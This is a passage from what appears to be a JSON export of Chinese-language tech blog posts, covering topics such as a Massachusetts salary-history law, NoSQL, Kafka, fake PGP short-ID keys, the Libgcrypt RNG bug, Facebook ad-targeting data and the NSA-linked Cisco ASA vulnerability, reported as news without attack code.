    "body": "雖然利用談判技巧是可以避開 (在你有本錢談判的情況下)，麻州直接立法禁止了，這對於求職者來說相當重要：「<a href=\"http://www.nytimes.com/2016/08/03/business/dealbook/wage-gap-massachusetts-law-salary-history.html\">Illegal in Massachusetts: Asking Your Salary in a Job Interview</a>」。\r\n\r\n<blockquote>The new law will require hiring managers to state a compensation figure upfront — based on what an applicant’s worth is to the company, rather than on what he or she made in a previous position.</blockquote>\r\n\r\n法案是「<a href=\"https://malegislature.gov/Bills/189/Senate/S2119\">Bill S.2119</a>」，可以看到「An Act to establish pay equity」的說明，應該是指目標之類的。\r\n\r\n裡面的幾個重點，首先是生效日期：\r\n\r\n<blockquote>SECTION 7. This act shall take effect on January 1, 2018.</blockquote>\r\n\r\n然後是求職期間的禁止行為：\r\n\r\n<blockquote>(3) seek the salary history of any prospective employee from any current or former employer; provided, however, that a prospective employee may provide written authorization to a prospective employer to confirm prior wages, including benefits or other compensation or salary history only after any offer of employment with compensation has been made to the prospective employee;</blockquote>\r\n\r\n接下來應該會有更多州制定類似的條款...",
    "title": "麻州立法禁止詢問前一份工作的薪資"
  },
  {
    "id": "6744",
    "body": "在 <a href=\"https://twitter.com/\">Twitter</a> 上看到「<a href=\"https://medium.baqend.com/nosql-databases-a-survey-and-decision-guidance-ea7823a822d\">NoSQL Databases: a Survey and Decision Guidance</a>」這邊有夠長的，對於還不熟悉目前 NoSQL 常用到的理論技術的人，剛好可以拿來看一看...\r\n\r\n對於熟悉的人來說，這些圖表整理的頗不錯：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/ssirrYK.webp\" /><img src=\"https://i.gslin.com/imgur/ssirrYK.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/wsYN2Dn.webp\" /><img src=\"https://i.gslin.com/imgur/wsYN2Dn.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/YLpdC41.webp\" /><img src=\"https://i.gslin.com/imgur/YLpdC41.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Ka6CCnm.webp\" /><img src=\"https://i.gslin.com/imgur/Ka6CCnm.jpg\" alt=\"\" /></picture>\r\n\r\n不過 NoSQL 裡面頗多地雷，大家保持健康的心態用就是了 XDDD",
    "title": "對 NoSQL 分析的大量說明與圖表"
  },
  {
    "id": "6745",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 正式發表了在 <a href=\"https://www.ruby-lang.org/\">Ruby</a> 上使用 <a href=\"https://aws.amazon.com/dynamodb/\">DynamoDB</a> 的 library：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2016/08/aws-record-general-availability/\">Announcing General Availability of aws-record</a>」。\r\n\r\n<a href=\"https://github.com/\">GitHub</a> 連結在「<a href=\"https://github.com/aws/aws-sdk-ruby-record\">aws/aws-sdk-ruby-record</a>」，而 <a href=\"https://rubygems.org/\">Ruby Gems</a> 的連結在「<a href=\"https://rubygems.org/gems/aws-record\">aws-record</a>」。\r\n\r\n這樣用起來更簡單了...",
    "title": "Ruby 上使用 DynamoDB 的函式庫：aws-record"
  },
  {
    "id": "6746",
    "body": "<a href=\"https://kafka.apache.org/\">Apache Kafka</a> 是個 pub-sub 系統：\r\n\r\n<blockquote>Apache Kafka is publish-subscribe messaging rethought as a distributed commit log.</blockquote>\r\n\r\n而 <a href=\"https://www.yelp.com/\">Yelp</a> 的人想要將 <a href=\"https://dev.mysql.com/\">MySQL</a> 的更新資訊送一份到 Kafka 就可以做很多應用。文章前面介紹了很多原理以及理論，像是講 MySQL 的 replication：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/2emcRZv.webp\" /><img src=\"https://i.gslin.com/imgur/2emcRZv.jpg\" alt=\"\" /></picture>\r\n\r\n但讀這篇文章發現重點在於他介紹了 <a href=\"https://github.com/\">GitHub</a> 上的「<a href=\"https://github.com/noplay/python-mysql-replication\">noplay/python-mysql-replication</a>」這個專案：\r\n\r\n<blockquote>Our stream reader is an abstraction over the BinLogStreamReader from the python-mysql-replication package.</blockquote>\r\n\r\n這個專案可以解析 MySQL 的 replication protocol：\r\n\r\n<blockquote>Pure Python Implementation of MySQL replication protocol build on top of PyMYSQL. This allow you to receive event like insert, update, delete with their datas and raw SQL queries.</blockquote>\r\n\r\n馬上就感覺到可以透過這個 library 做不少事情，像是直接接到 worker，再更新 <a href=\"https://www.elastic.co/products/elasticsearch\">Elasticsearch</a> 上的資料，這樣就是 100% 確保不會漏更新...",
    "title": "Yelp 對 MySQL 更新的資料送到 Kafka 的作法"
  },
  {
    "id": "6747",
    "body": "<a href=\"https://www.cloudflare.com/\">CloudFlare</a> 特地寫了一篇討拍文在分析對六個 ISP 的超高成本：「<a href=\"https://blog.cloudflare.com/bandwidth-costs-around-the-world/\">Bandwidth Costs Around the World</a>」。\r\n\r\n其他的就不講了，先看對價錢的定義：\r\n\r\n<blockquote>As a benchmark, let's assume the cost of transit in Europe and North America is 10 units (per Mbps).</blockquote>\r\n\r\n然後來看亞洲區以及 <a href=\"http://www.hinet.net/\">HiNet</a> 的部份寫了什麼：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/LwEhLqQ.webp\" /><img src=\"https://i.gslin.com/imgur/LwEhLqQ.jpg\" alt=\"\" /></picture>\r\n\r\n<blockquote>Two Asian locations stand out as being especially expensive: Seoul and Taipei. In these markets, with powerful incumbents (Korea Telecom and HiNet), transit costs 15x as much as in Europe or North America, or 150 units.</blockquote>\r\n\r\n成本大約是 15 倍。另外說明這六個 ISP 佔了他們 50% 的頻寬成本 (以及 6% 的流量)：\r\n\r\n<blockquote>Today, however, there are six expensive networks (HiNet, Korea Telecom, Optus, Telecom Argentina, Telefonica, Telstra) that are more than an order of magnitude more expensive than other bandwidth providers around the globe and refuse to discuss local peering relationships. To give you a sense, these six networks represent less than 6% of the traffic but nearly 50% of our bandwidth costs.</blockquote>\r\n\r\n為什麼有種濃濃的既視感 XDDD",
    "title": "CloudFlare 對 HiNet 成本的抱怨 (還有其他 ISP...)"
  },
  {
    "id": "6748",
    "body": "<a href=\"https://en.wikipedia.org/wiki/Pretty_Good_Privacy\">PGP</a> 短 ID 的安全問題出來了，不見棺材不掉淚啊：「<a href=\"https://lkml.org/lkml/2016/8/15/445\">Fake Linus Torvalds' Key Found in the Wild, No More Short-IDs.</a>」。\r\n\r\n重點在這段，已經有人發出攻擊了：\r\n\r\n<pre>Search Result of 0x00411886: https://pgp.mit.edu/pks/lookup?search=0x00411886&amp;op=index\r\nFake Linus Torvalds: 0F6A 1465 32D8 69AE E438  F74B 6211 AA3B [0041 1886]\r\nReal Linus Torvalds: ABAF 11C6 5A29 70B1 30AB  E3C4 79BE 3E43 [0041 1886]\r\n\r\nSearch Result of 0x6092693E: https://pgp.mit.edu/pks/lookup?search=0x6092693E&amp;op=index\r\nFake Greg Kroah-Hartman: 497C 48CE 16B9 26E9 3F49  6301 2736 5DEA [6092 693E]\r\nReal Greg Kroah-Hartman: 647F 2865 4894 E3BD 4571  99BE 38DB BDC8 [6092 693E]</pre>\r\n\r\n另外作者給了還蠻重要的觀念：\r\n\r\n<blockquote>DO NOT TRUST ANYTHING SHORTER THAN THE FINGERPRINTS.</blockquote>",
    "title": "PGP 短 ID 的安全問題"
  },
  {
    "id": "6749",
    "body": "算是講 <a href=\"https://www.dropbox.com/\">Dropbox</a> 的「<a href=\"https://blog.gslin.org/archives/2016/08/15/6736/dropbox-%E7%9A%84-document-detecting/\">Dropbox 的 Document Detecting</a>」這篇的續集，在抓出文件位置後講顏色的校準：「<a href=\"https://blogs.dropbox.com/tech/2016/08/fast-document-rectification-and-enhancement/\">Fast Document Rectification and Enhancement</a>」。\r\n\r\n要怎麼把左邊的原始圖轉換成右邊的圖，包括了座標轉換以及顏色校準：\r\n\r\n<img src=\"https://i.gslin.com/imgur/NJrv6Yt.jpg\" alt=\"\" />\r\n\r\n顏色校準的部份講到了這張很有名的圖。在圖片上，A 與 B 的區塊顏色是相同的，但你校準出來的時候必須跟人腦的感覺相同：\r\n\r\n<blockquote>Here’s a great illustration of this “illusion,” in which the two tiles marked A and B have the same pixel values, but appear to be very different:</blockquote>\r\n\r\n<img src=\"https://i.gslin.com/imgur/P2gxRzF.jpg\" alt=\"\" />\r\n\r\n這是最後的成果，左邊是原始圖，中間是將背景改成白色，其他顏色保留，而右邊則是試著修正顏色：\r\n\r\n<blockquote>Left: the original image. Middle: an enhanced image, with the background becoming white and the foreground preserved in exact R, G, B values. Note that the colors appear faded. Right: an enhanced image that tries to correct for the perceptual discrepancy.</blockquote>\r\n\r\n<img src=\"https://i.gslin.com/imgur/MpC0Jup.jpg\" alt=\"\" />\r\n\r\n應該是在 Dropbox 裡面的專案，是個有不少數學可以玩的專案...",
    "title": "Dropbox 的文件掃描功能"
  },
  {
    "id": "6750",
    "body": "在「<a href=\"http://boredzo.org/blog/archives/2016-08-15/colorized-man-pages-understood-and-customized\">Colorized man pages: Understood and customized</a>」這篇看到介紹設定 <a href=\"https://en.wikipedia.org/wiki/Less_(Unix)\">less</a> 的顏色，像是這樣：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/p3wtGQK.webp\" /><img src=\"https://i.gslin.com/imgur/p3wtGQK.jpg\" alt=\"\" /></picture>\r\n\r\n另外作者為黑底先改了一個版本：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/7U67PXs.webp\" /><img src=\"https://i.gslin.com/imgur/7U67PXs.jpg\" alt=\"\" /></picture>\r\n\r\n然後又改了一個：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/PdwyszV.webp\" /><img src=\"https://i.gslin.com/imgur/PdwyszV.jpg\" alt=\"\" /></picture>\r\n\r\n是都不錯啦，不過為什麼不考慮用 <a href=\"https://en.wikipedia.org/wiki/Most_(Unix)\">most</a> 啊，我覺得還不錯啊，雖然要額外裝起來啦 XDDD",
    "title": "less 的顏色"
  },
  {
    "id": "6751",
    "body": "在「<a href=\"https://arxiv.org/abs/1608.03960\">A Conflict-Free Replicated JSON Datatype</a>」這邊看到有趣的東西。(<a href=\"https://arxiv.org/\">arXiv</a> 說 2016/08/18 會有一個小時的 downtime，台灣時間剛好是 2016/08/18 的 20:20 開始：「<a href=\"https://arxiv.org/new#aug16_2016\">Maintenance scheduled for Aug 18 8:20 a.m. EDT</a>」)\r\n\r\n作者們設計這個架構是想要在 JSON 結構上找出一個演算法，在 P2P 架構上 (而不需要靠 server) 可以同步並且產生一致的結果，另外要求當 conflict 時不要掉資料：\r\n\r\n<blockquote>In this paper we present an algorithm and formal semantics for a JSON data structure that automatically resolves concurrent modifications such that no updates are lost, and such that all replicas converge towards the same state.</blockquote>\r\n\r\n作者提出來的想法不是很複雜，而且 merge 保留姿的方法也頗... 特別，但總是給大家一個想法，各何況很多情況下都是有 server 架構，就簡單多了...",
    "title": "設計資料同步問題時一定會遇到的 Conflict 解決方案"
  },
  {
    "id": "6752",
    "body": "看到有人用 <a href=\"https://en.wikipedia.org/wiki/Markdown\">Markdown</a> 寫電子書：「<a href=\"https://medium.com/@gabrielgambetta/how-i-wrote-and-published-my-novel-using-only-open-source-tools-5cdfbd7c00ca\">How I wrote and published my novel using only open source tools</a>」。\r\n\r\n電子書的部份主要是透過 <a href=\"http://pandoc.org/\">Pandoc</a> 轉換，然後用 <a href=\"http://dublincore.org/documents/dces/\">Dublin Core Metadata Element Set</a> 提供 metadata。\r\n\r\n<img src=\"https://i.gslin.com/imgur/A4i6EHn.jpg\" alt=\"\" />\r\n\r\n實體書的部份也還是用 Pandoc 轉換成 <a href=\"https://en.wikipedia.org/wiki/OpenDocument\">ODT</a>，而後面還是拿出 <a href=\"https://www.libreoffice.org/\">LibreOffice</a> 對 page format 調整：\r\n\r\n<blockquote>LibreOffice has many page formatting options that are non-obvious but incredibly important. For example, I wanted the first page of each chapter to be a right page, and to exclude the page header. I defined my chapter heading style to have a “page break before” and set a page style of “first page” (which is a right page without a header), which is followed by “right page”, which is followed by “left page”, which goes back to “right page”.</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/GiieYv2.webp\" /><img src=\"https://i.gslin.com/imgur/GiieYv2.jpg\" alt=\"\" /></picture>\r\n\r\n主要還是 Pandoc 這個工具，找機會來轉些東西看看效果...",
    "title": "Markdown 轉電子書 (以及實體書) 的工具"
  },
  {
    "id": "6753",
    "body": "<a href=\"https://bitcoin.org/\">Bitcoin.org</a> 發出了有點摸不著頭緒的警告：「<a href=\"https://bitcoin.org/en/alert/2016-08-17-binary-safety\">0.13.0 Binary Safety Warning</a>」。\r\n\r\n<blockquote>Bitcoin.org has reason to suspect that the binaries for the upcoming Bitcoin Core release will likely be targeted by state sponsored attackers. As a website, Bitcoin.org does not have the necessary technical resources to guarantee that we can defend ourselves from attackers of this calibre.</blockquote>\r\n\r\n而且直接是點名可能是針對中國區的用戶：\r\n\r\n<blockquote>We ask the Bitcoin community, and in particular the Chinese Bitcoin community to be extra vigilant when downloading binaries from our website.</blockquote>\r\n\r\n由於 Bitcoin.org 全站走 HTTPS，這是在暗示會出現「不小心發出 Bitcoin.org 的 SSL certificate」的事情？另外官方也建議使用 PGP public key 驗證：\r\n\r\n<blockquote>We strongly recommend that you download that key, which should have a fingerprint of 01EA5486DE18A882D4C2684590C8019E36C2E964. You should securely verify the signature and hashes before running any Bitcoin Core binaries. This is the safest and most secure way of being confident that the binaries you’re running are the same ones created by the Core Developers.</blockquote>\r\n\r\n來拿板凳蹲著看，順便拉一張目前 certificate 看到的資訊，目前是從 RapidSSL SHA256 CA - G3 簽出來：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/ZXBquUn.webp\" /><img src=\"https://i.gslin.com/imgur/ZXBquUn.jpg\" alt=\"\" /></picture>",
    "title": "Bitcoin.org 對於接下來的 release 發出警告"
  },
  {
    "id": "6754",
    "body": "<a href=\"https://golang.org/\">Golang</a> 1.7 主打更小的 binary size：「<a href=\"https://blog.golang.org/go1.7-binary-size\">Smaller Go 1.7 binaries</a>」：\r\n\r\n<blockquote>Typical programs, ranging from tiny toys to large production programs, are about 30% smaller when built with Go 1.7.</blockquote>\r\n\r\n還附了一張經典的「Hello, world」程式的分析：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/jUivRNF.webp\" /><img src=\"https://i.gslin.com/imgur/jUivRNF.jpg\" alt=\"\" /></picture>\r\n\r\n由於現代 CPU 的速度與 L1/L2/... cache 有緊密關係，當 binary size 變小時，常常會伴隨著 memory access 變快 (因為 hitrate 提昇)，所以 binary size 也是效能指數蠻重要的一環。",
    "title": "Golang 1.7"
  },
  {
    "id": "6755",
    "body": "原來這個叫做 Delayed Queue，難怪之前用其他關鍵字都找不到什麼資料... (就不講其他關鍵字了 XD)\r\n\r\n<a href=\"https://www.netflix.com/\">Netflix</a> 發表了他們自己所開發的 Delayed Queue：「<a href=\"http://techblog.netflix.com/2016/08/distributed-delay-queues-based-on.html\">Distributed delay queues based on Dynomite</a>」。\r\n\r\n本來的架構是用 <a href=\"https://cassandra.apache.org/\">Cassandra</a> + <a href=\"https://zookeeper.apache.org/\">Zookeeper</a> 來做：\r\n\r\n<blockquote>Traditionally, we have been using a Cassandra based queue recipe along with Zookeeper for distributed locks, since Cassandra is the de facto storage engine at Netflix.</blockquote>\r\n\r\n但可以馬上想到不少問題，就如同 Netflix 提到的：\r\n\r\n<blockquote>Using Cassandra for queue like data structure is a known anti-pattern, also using a global lock on queue while polling, limits the amount of concurrency on the consumer side as the lock ensures only one consumer can poll from the queue at a time.</blockquote>\r\n\r\n所以就改放到 Netflix 另外開發的 <a href=\"https://github.com/Netflix/dynomite\">Dynamite</a> 上：\r\n\r\n<blockquote>Dynomite, inspired by Dynamo whitepaper, is a thin, distributed dynamo layer for different storage engines and protocols. Currently these include Redis and Memcached. Dynomite supports multi-datacenter replication and is designed for high availability.</blockquote>\r\n\r\n後端是 <a href=\"http://redis.io/\">Redis</a> 與 <a href=\"https://memcached.org/\">Memcached</a> 的系統，可以對抗整個機房從 internet 上消失的狀態。\r\n\r\n在設計上則是「保證會跑一次」，也就是有可能會有多次的情況，用 <a href=\"https://github.com/Netflix/dyno-queues\">Dyno Queues</a> 系統的人必需要考慮進去：\r\n\r\n<blockquote>4. At-least-once delivery semantics</blockquote>\r\n\r\n雖然整篇講的頗輕鬆，但實際看起來還是很厚重... 暫時還是不會用吧 :o",
    "title": "Netflix 開發的 Delayed Queue"
  },
  {
    "id": "6756",
    "body": "在「<a href=\"https://lists.gnu.org/archive/html/info-gnu/2016-08/msg00008.html\">Security fixes for Libgcrypt and GnuPG 1.4 [CVE-2016-6316]</a>」這邊看到這個歷史悠久的 bug：\r\n\r\n<blockquote>Felix Dörre and Vladimir Klebanov from the Karlsruhe Institute of Technology found a bug in the mixing functions of Libgcrypt's random number generator: An attacker who obtains 4640 bits from the RNG can trivially predict the next 160 bits of output.  This bug exists since 1998 in all GnuPG and Libgcrypt versions.</blockquote>\r\n\r\n就這樣的行為，對於自己用的機器應該是還好... 不過得到 4640 bits 後就可以預測接下來的 160 bits，這個 RNG 有點囧 @_@\r\n\r\n官方目前是認為應該還好：\r\n\r\n<blockquote>A first analysis on the impact of this bug in GnuPG shows that existing RSA keys are not weakened.  For DSA and Elgamal keys it is also unlikely that the private key can be predicted from other public information.  This needs more research and I would suggest _not to_ overhasty revoke keys.</blockquote>\r\n\r\n不過如果你有絕對的安全需求的話還是可以考慮 revoke 再重新生一把...",
    "title": "Libgcrypt 與 GnuPG 的安全性問題"
  },
  {
    "id": "6757",
    "body": "之前的 <a href=\"https://pages.github.com/\">GitHub Pages</a> 都只能吃 <code>gh-pages</code> 這個 branch，而 <a href=\"https://github.com/\">GitHub</a> 改善了這個部份：「<a href=\"https://github.com/blog/2228-simpler-github-pages-publishing\">Simpler GitHub Pages publishing</a>」。\r\n\r\n可以直接選擇 <code>master</code> branch，這樣對大多數的情況下簡單多了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/TSuIl3S.webp\" /><img src=\"https://i.gslin.com/imgur/TSuIl3S.jpg\" alt=\"\" /></picture>\r\n\r\n另外也可以選擇 <code>/docs</code> 下，與其他目錄的資料隔開。",
    "title": "GitHub Pages 可以吃其他 branch 了"
  },
  {
    "id": "6758",
    "body": "<a href=\"https://www.washingtonpost.com/\">華盛頓郵報</a>整理出來了 <a href=\"https://www.facebook.com/\">Facebook</a> 的廣告所使用的 98 個個人資訊：「<a href=\"https://www.washingtonpost.com/news/the-intersect/wp/2016/08/19/98-personal-data-points-that-facebook-uses-to-target-ads-to-you/\">98 personal data points that Facebook uses to target ads to you</a>」。\r\n\r\n基本的個人資訊 (甚至是朋友的)，以及使用什麼瀏覽器都可以預期；而 Like 或是參加的 Group 都會被計算也是意料中的事情，不過連信用卡的種類也都在內就頗特別的...\r\n\r\n來檢視一下自己的防禦機制有哪些... 瀏覽器預設擋下第三方 cookie：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/MZEcySr.webp\" /><img src=\"https://i.gslin.com/imgur/MZEcySr.jpg\" alt=\"\" /></picture>\r\n\r\n用 <a href=\"https://www.ghostery.com/\">Ghostery</a> 預設把所有外部元件擋下來，再用白名單開想要看的部份。用 <a href=\"https://github.com/gorhill/uBlock\">uBlock Origin</a> 擋下所有廣告。\r\n\r\n另外用「<a href=\"https://chrome.google.com/webstore/detail/force-facebook-most-recen/afpgkohcfdodmgndbkbakheipjfnbdln\">Force Facebook Most Recent</a>」強制 Facebook 轉到 Most Recent 的 Timeline 上。\r\n\r\n不知道這樣夠不夠用...\r\n\r\n最後來列出這 98 個條件：\r\n\r\n<ol>\r\n        <li>Location</li>\r\n        <li>Age</li>\r\n        <li>Generation</li>\r\n        <li>Gender</li>\r\n        <li>Language</li>\r\n        <li>Education level</li>\r\n        <li>Field of study</li>\r\n        <li>School</li>\r\n        <li>Ethnic affinity</li>\r\n        <li>Income and net worth</li>\r\n        <li>Home ownership and type</li>\r\n        <li>Home value</li>\r\n        <li>Property size</li>\r\n        <li>Square footage of home</li>\r\n        <li>Year home was built</li>\r\n        <li>Household composition</li>\r\n        <li>Users who have an anniversary within 30 days</li>\r\n        <li>Users who are away from family or hometown</li>\r\n        <li>Users who are friends with someone who has an anniversary, is newly married or engaged, recently moved, or has an upcoming birthday</li>\r\n        <li>Users in long-distance relationships</li>\r\n        <li>Users in new relationships</li>\r\n        <li>Users who have new jobs</li>\r\n        <li>Users who are newly engaged</li>\r\n        <li>Users who are newly married</li>\r\n        <li>Users who have recently moved</li>\r\n        <li>Users who have birthdays soon</li>\r\n        <li>Parents</li>\r\n        <li>Expectant parents</li>\r\n        <li>Mothers, divided by “type” (soccer, trendy, etc.)</li>\r\n        <li>Users who are likely to engage in politics</li>\r\n        <li>Conservatives and liberals</li>\r\n        <li>Relationship status</li>\r\n        <li>Employer</li>\r\n        <li>Industry</li>\r\n        <li>Job title</li>\r\n        <li>Office type</li>\r\n        <li>Interests</li>\r\n        <li>Users who own motorcycles</li>\r\n        <li>Users who plan to buy a car (and what kind/brand of car, and how soon)</li>\r\n        <li>Users who bought auto parts or accessories recently</li>\r\n        <li>Users who are likely to need auto parts or services</li>\r\n        <li>Style and brand of car you drive</li>\r\n        <li>Year car was bought</li>\r\n        <li>Age of car</li>\r\n        <li>How much money user is likely to spend on next car</li>\r\n        <li>Where user is likely to buy next car</li>\r\n        <li>How many employees your company has</li>\r\n        <li>Users who own small businesses</li>\r\n        <li>Users who work in management or are executives</li>\r\n        <li>Users who have donated to charity (divided by type)</li>\r\n        <li>Operating system</li>\r\n        <li>Users who play canvas games</li>\r\n        <li>Users who own a gaming console</li>\r\n        <li>Users who have created a Facebook event</li>\r\n        <li>Users who have used Facebook Payments</li>\r\n        <li>Users who have spent more than average on Facebook Payments</li>\r\n        <li>Users who administer a Facebook page</li>\r\n        <li>Users who have recently uploaded photos to Facebook</li>\r\n        <li>Internet browser</li>\r\n        <li>Email service</li>\r\n        <li>Early/late adopters of technology</li>\r\n        <li>Expats (divided by what country they are from originally)</li>\r\n        <li>Users who belong to a credit union, national bank or regional bank</li>\r\n        <li>Users who investor (divided by investment type)</li>\r\n        <li>Number of credit lines</li>\r\n        <li>Users who are active credit card users</li>\r\n        <li>Credit card type</li>\r\n        <li>Users who have a debit card</li>\r\n        <li>Users who carry a balance on their credit card</li>\r\n        <li>Users who listen to the radio</li>\r\n        <li>Preference in TV shows</li>\r\n        <li>Users who use a mobile device (divided by what brand they use)</li>\r\n        <li>Internet connection type</li>\r\n        <li>Users who recently acquired a smartphone or tablet</li>\r\n        <li>Users who access the Internet through a smartphone or tablet</li>\r\n        <li>Users who use coupons</li>\r\n        <li>Types of clothing user’s household buys</li>\r\n        <li>Time of year user’s household shops most</li>\r\n        <li>Users who are “heavy” buyers of beer, wine or spirits</li>\r\n        <li>Users who buy groceries (and what kinds)</li>\r\n        <li>Users who buy beauty products</li>\r\n        <li>Users who buy allergy medications, cough/cold medications, pain relief products, and over-the-counter meds</li>\r\n        <li>Users who spend money on household products</li>\r\n        <li>Users who spend money on products for kids or pets, and what kinds of pets</li>\r\n        <li>Users whose household makes more purchases than is average</li>\r\n        <li>Users who tend to shop online (or off)</li>\r\n        <li>Types of restaurants user eats at</li>\r\n        <li>Kinds of stores user shops at</li>\r\n        <li>Users who are “receptive” to offers from companies offering online auto insurance, higher education or mortgages, and prepaid debit cards/satellite TV</li>\r\n        <li>Length of time user has lived in house</li>\r\n        <li>Users who are likely to move soon</li>\r\n        <li>Users who are interested in the Olympics, fall football, cricket or Ramadan</li>\r\n        <li>Users who travel frequently, for work or pleasure</li>\r\n        <li>Users who commute to work</li>\r\n        <li>Types of vacations user tends to go on</li>\r\n        <li>Users who recently returned from a trip</li>\r\n        <li>Users who recently used a travel app</li>\r\n        <li>Users who participate in a timeshare</li>\r\n</ol>",
    "title": "Facebook 用哪些資訊來決定投放給你的廣告"
  },
  {
    "id": "6759",
    "body": "<a href=\"https://www.nsa.gov/\">NSA</a> 使用這些漏洞來大量監聽企業的流量：「<a href=\"https://thehackernews.com/2016/08/nsa-hack-exploit.html\">Leaked Exploits are Legit and Belong to NSA: Cisco, Fortinet and Snowden Docs Confirm</a>」。\r\n\r\n<a href=\"https://www.cisco.com/\">Cisco</a> 已經確認這個安全性漏洞了，全系列包括已經停產的 <a href=\"https://en.wikipedia.org/wiki/Cisco_PIX\">Cisco PIX</a>、上個世代的 Cisco ASA 5500 (但還有些型號還在賣)，以及目前主力的 <a href=\"https://www.cisco.com/c/en/us/support/security/asa-5500-series-next-generation-firewalls/tsd-products-support-series-home.html\">Cisco ASA 5500-X</a>，另外還包括了安全模組系列也中獎：「<a href=\"https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20160817-asa-snmp\">Cisco Adaptive Security Appliance SNMP Remote Code Execution Vulnerability</a>」。\r\n\r\n<ul>\r\n\t<li>Cisco ASA 5500 Series Adaptive Security Appliances</li>\r\n\t<li>Cisco ASA 5500-X Series Next-Generation Firewalls</li>\r\n\t<li>Cisco ASA Services Module for Cisco Catalyst 6500 Series Switches and Cisco 7600 Series Routers</li>\r\n\t<li>Cisco ASA 1000V Cloud Firewall</li>\r\n\t<li>Cisco Adaptive Security Virtual Appliance (ASAv)</li>\r\n\t<li>Cisco Firepower 4100 Series</li>\r\n\t<li>Cisco Firepower 9300 ASA Security Module</li>\r\n\t<li>Cisco Firepower Threat Defense Software</li>\r\n\t<li>Cisco Firewall Services Module (FWSM)*</li>\r\n\t<li>Cisco Industrial Security Appliance 3000</li>\r\n\t<li>Cisco PIX Firewalls*</li>\r\n</ul>\r\n\r\n標星號的是目前已經沒有在維護的產品，這次只確認受到影響，但不會更新：\r\n\r\n<blockquote>Cisco Firewall Service Modules and Cisco PIX Firewalls have passed the last day of software support milestone as stated in the published End of Life (EoL) documents. Further investigations into these devices will not be performed, and fixed software will not be made available.</blockquote>\r\n\r\n這次 Cisco 的安全性問題是 SNMP 的洞造成的：\r\n\r\n<blockquote>Administrators are advised to allow only trusted users to have SNMP access and to monitor affected systems using the snmp-server host command.</blockquote>\r\n\r\n這個洞被 NSA 用來寫 exploit 植入系統：\r\n\r\n<blockquote>This flaw was included inside two NSA exploits, dubbed EPICBANANA as well as JETPLOW, which is an enhanced version of EPICBANANA, but with better persistence capabilities, Cisco's Omar Santos said in a blog post.</blockquote>\r\n\r\n在 NSA 洩漏出來的文件裡可以看到 <code>ace02468bdf13579</code> 這個特殊辨識字串，而在受感染的樣本上也找到了這個痕跡：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/o5Px93P.webp\" /><img src=\"https://i.gslin.com/imgur/o5Px93P.jpg\" alt=\"\" /></picture>\r\n\r\n而且不只是 Cisco，其他幾家也中獎了，可以參考「<a href=\"https://theintercept.com/2016/08/19/the-nsa-was-hacked-snowden-documents-confirm/\">The NSA Leak Is Real, Snowden Documents Confirm</a>」這邊更多的資訊 @_@",
    "title": "Cisco 與 Fortinet 防火牆的 RCE 漏洞"
  },
  {
    "id": "6760",
    "body": "<a href=\"http://www.mutt.org/\">Mutt</a> 最近更新的好快啊 XDDD (相較於富奸的速度)：「<a href=\"https://marc.info/?l=mutt-users&amp;m=147154326009383\">mutt 1.7.0 released</a>」。看一下官網上這一波的更新記錄：\r\n\r\n<ul>\r\n\t<li>Mutt 1.7.0 was released on August 18, 2016. This release has several new features. Please see the UPDATING file for details.</li>\r\n\t<li>Mutt 1.6.2 was released on July 6, 2016. This is a bug-fix release, fixing two issues found with 1.6.1.</li>\r\n\t<li>Mutt 1.6.1 was released on May 1, 2016. This is a bug-fix release, fixing three issues found with 1.6.0.</li>\r\n\t<li>Mutt 1.6.0 was released on April 4, 2016. This stable release has an enormous number of changes compared to the 1.4 series. Please review the changes file for an overview of changes since the 1.4 series, or the UPDATING file for a more detailed breakdown by each previous development release.</li>\r\n\t<li>Mutt 1.4.2.3 was released on June 9, 2007. This release fixes CVE-2007-2683 (gecos overflow) and CVE-2007-1558 (APOP MD5 collision attack).</li>\r\n\t<li>Mutt 1.4.2.2 was released on July 14, 2006. This release fixes CVE-2006-3242, a buffer overflow that could be triggered by a malicious IMAP server.</li>\r\n</ul>\r\n\r\n2016 開始更新的速度快好多... XD",
    "title": "Mutt 1.7.0！"
  },
  {
    "id": "6761",
    "body": "在「<a href=\"https://mzucker.github.io/2016/08/15/page-dewarping.html\">Page dewarping</a>」這篇看到講文件掃描的技術，以及 open source 的程式，對比之前提到的「<a href=\"https://blog.gslin.org/archives/2016/08/18/6749/dropbox-%E7%9A%84%E6%96%87%E4%BB%B6%E6%8E%83%E6%8F%8F%E5%8A%9F%E8%83%BD/\">Dropbox 的文件掃描功能</a>」與「<a href=\"https://blog.gslin.org/archives/2016/08/15/6736/dropbox-%E7%9A%84-document-detecting/\">Dropbox 的 Document Detecting</a>」的時間點，有種淡淡的惡意 XD\r\n\r\n這篇作者是為了未婚妻的需求而寫出來的，本來是作者收到學生的作業時手動在跑，後來未婚妻也拿去用，但量愈來愈大，決定自動化處理：\r\n\r\n<blockquote>A while back, I wrote a script to create PDFs from photos of hand-written text. It was nothing special – just adaptive thresholding and combining multiple images into a PDF – but it came in handy whenever a student emailed me their homework as a pile of JPEGs. After I demoed the program to my fiancée, she ended up asking me to run it from time to time on photos of archival documents for her linguistics research. This summer, she came back from the library with a number of images where 